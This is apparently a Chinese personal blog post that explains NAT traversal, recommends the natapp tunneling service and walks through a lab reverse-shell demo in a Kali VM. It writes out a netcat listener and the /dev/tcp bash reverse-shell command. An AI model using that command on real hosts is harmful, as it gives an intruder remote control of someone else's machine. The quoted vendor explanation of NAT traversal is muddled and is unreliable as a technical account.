什么是内网穿透
网上的解释
某个内网穿透的服务提供商的解释是:内网穿透是我们在进行网络连接时的一种术语,也叫做NAT穿透,即在计算机是局域网内的时候,外网与内网的计算机的节点进行连接时所需要的连接通信,有时候就会出现内网穿透不支的情况。内网穿透的功能就是,当我们在端口映射时设置时,内网穿透起到了地址转换的功能,也就是把公网的地址进行翻译,转成为一种私有的地址,然后再采用路由的方式ADSL的宽带路由器,具有一个动态或者是固定的公网IP,最后ADSL直接在交换机上,这样所有的电脑都可以共享上网。内网穿透除了可以实现内网之间机器的网络通信功通之外,还可以解决UDP中出现的数据传输不稳定问题。
个人理解
这东西跟计网学的NAT网络地址转换
好像是一回事,就是内网的某台主机的套接字跟公网的某个套接字进行绑定,在外网看来,内网主机的ip就是绑定的这个公网套接字了,我们可以通过这个套接字往外界发数据包,外界也可以将数据包发送该套接字,再转发到本地,从而实现内网和外网之间的通信。
那么,既然跟NAT地址转发一样,为什么不能直接用网关分配给我们的公网套接字进行反弹shell呢?
理论上讲,如果知道了这个公网套接字,我们的想法就可以实现,但我们没法知道网关的地址映射表,emmm…
内网穿透的作用
目前能想到的作用有两个:
- 可以搭建个人博客网站,这比直接去买云服务器便宜多了,笔者的室友就是用内网穿透将自己的blog上传到公网。
- 反弹shell。做这类题目需要本机作为服务器让靶机连接。
内网穿透免费吗?
很多提供内网穿透的软件都是付费的,免费的性能相对较差,这里笔者推荐一个:natapp
。每个用户可以申请到两个免费隧道,性能还可以。
链接:https://natapp.cn/
官网有详细的图文教程。
反弹shell
环境
平台:VMware
系统:kali linux
测试
首先,开启内网穿透。
然后,打开一个shell,作为服务端,输入命令:nc -lvp 80
开启监听
接着,再打开一个客户端,也就是靶机,输入命令(记得修改ip和port):bash -i > /dev/tcp/ip/port 0>&1
连接服务端
连接成功后,服务端会有回显
现在,可以输入命令进行测试了。我们来个ls
测试成功!
由于笔者才疏学浅,以上内容可能有说得不对的地方,欢迎大家批评指正
^ ^
。
参考资料
内网穿透
1、https://service.oray.com/question/5571.html
2、https://baike.baidu.com/item/%E5%86%85%E7%BD%91%E7%A9%BF%E9%80%8F/8597835?fr=aladdin
反弹shell
1、https://xz.aliyun.com/t/2549